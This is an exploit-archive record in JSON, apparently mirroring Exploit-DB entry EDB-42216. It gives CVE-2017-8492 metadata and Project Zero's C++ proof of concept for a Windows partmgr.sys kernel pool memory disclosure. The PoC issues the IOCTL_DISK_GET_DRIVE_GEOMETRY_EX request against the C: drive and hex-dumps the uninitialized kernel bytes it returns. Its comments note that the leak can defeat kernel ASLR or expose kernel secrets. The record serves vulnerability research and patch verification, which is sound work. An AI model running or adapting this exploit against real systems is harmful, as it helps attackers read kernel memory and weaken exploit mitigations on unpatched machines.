{"exploit":{"id":"EDB-42216","name":"Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_GEOMETRY_EX' Kernel partmgr Pool Memory Disclosure","description":"Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_GEOMETRY_EX' Kernel partmgr Pool Memory Disclosure","cves":["CVE-2017-8492"],"author":"Google Security Research","published":"2017-06-21","platform":"windows","type":"dos","language":"C++","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42216","path":"exploits/windows/dos/42216.cpp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42216.cpp","vulnerabilities":[{"id":"CVE-2017-8492","state":"PUBLISHED","title":null,"titleSource":null,"description":"The kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an authenticated attacker to obtain information via a specially crafted application. aka \"Windows Kernel Information Disclosure Vulnerability,\" a different vulnerability than CVE-2017-8491, CVE-2017-8490, CVE-2017-8489, CVE-2017-8488, CVE-2017-8485, CVE-2017-8483, CVE-2017-8482, CVE-2017-8480, CVE-2017-8479, CVE-2017-8478, CVE-2017-8476, CVE-2017-8474, CVE-2017-8469, CVE-2017-8462, CVE-2017-0300, CVE-2017-0299, and CVE-2017-0297.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-8492","cvss":{"version":"3.0","baseScore":5,"severity":"medium","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-8492"},"updatedAt":"2024-08-05T16:34:23.195Z","retrievedAt":"2026-11-27T08:10:15.760Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42216.png?v=2","url":"https://exploitbin.com/exploits/EDB-42216","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42216/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42216/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=1156&desc=2\n\nWe have discovered that the handler of the IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL in partmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.\n\nOn our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:\n\n--- cut ---\n00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000040: 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ff ff ................\n00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n--- cut ---\n\nWhere 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.\n\nThe issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:\n\n--- cut ---\n00000000: bf 0c 00 00 00 00 00 00 0c 00 00 00 ff 00 00 00 ................\n00000010: 3f 00 00 00 00 02 00 00 00 00 00 40 06 00 00 00 ?..........@....\n00000020: 18 00 00 00 00 00 00 00 ee a2 5d 9f 00 00 00 00 ..........].....\n00000030: 00 00 00 00 00 00 00 00 38 00 00 00 01 00 00 00 ........8.......\n00000040: 80 00[c1 c1]ff 03 00 00 3f 00 fe 00 01 00[c1 c1]........?.......\n00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n--- cut ---\n\nRepeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.\n*/\n\n#include <Windows.h>\n#include <cstdio>\n\nVOID PrintHex(PBYTE Data, ULONG dwBytes) {\n  for (ULONG i = 0; i < dwBytes; i += 16) {\n    printf(\"%.8x: \", i);\n\n    for (ULONG j = 0; j < 16; j++) {\n      if (i + j < dwBytes) {\n        printf(\"%.2x \", Data[i + j]);\n      }\n      else {\n        printf(\"?? \");\n      }\n    }\n\n    for (ULONG j = 0; j < 16; j++) {\n      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {\n        printf(\"%c\", Data[i + j]);\n      }\n      else {\n        printf(\".\");\n      }\n    }\n\n    printf(\"\\n\");\n  }\n}\n\nint main() {\n  // Open the disk device.\n  HANDLE hDisk = CreateFile(L\"\\\\\\\\.\\\\C:\",\n                            0,\n                            0,\n                            NULL,\n                            OPEN_EXISTING,\n                            FILE_ATTRIBUTE_NORMAL,\n                            NULL);\n  if (hDisk == INVALID_HANDLE_VALUE) {\n    printf(\"CreateFile failed, %d\\n\", GetLastError());\n    return 1;\n  }\n\n  // Obtain the output data, assuming that it will fit into 1024 bytes.\n  BYTE geometry[1024];\n  DWORD BytesReturned;\n  if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, NULL, 0, &geometry, sizeof(geometry), &BytesReturned, NULL)) {\n    printf(\"DeviceIoControl failed, %d\\n\", GetLastError());\n    CloseHandle(hDisk);\n    return 1;\n  }\n\n  // Dump the output data on screen and free resources.\n  PrintHex(geometry, BytesReturned);\n  CloseHandle(hDisk);\n\n  return 0;\n}","sha256":"e3485885e5f2093a998a3a26c899647b529f3a9edd0d4d93162f99f0db30ec9a","bytes":3608,"fetchedAt":"2026-11-27T08:10:15.073Z","encoding":"utf-8 (display only; download retains original bytes)"}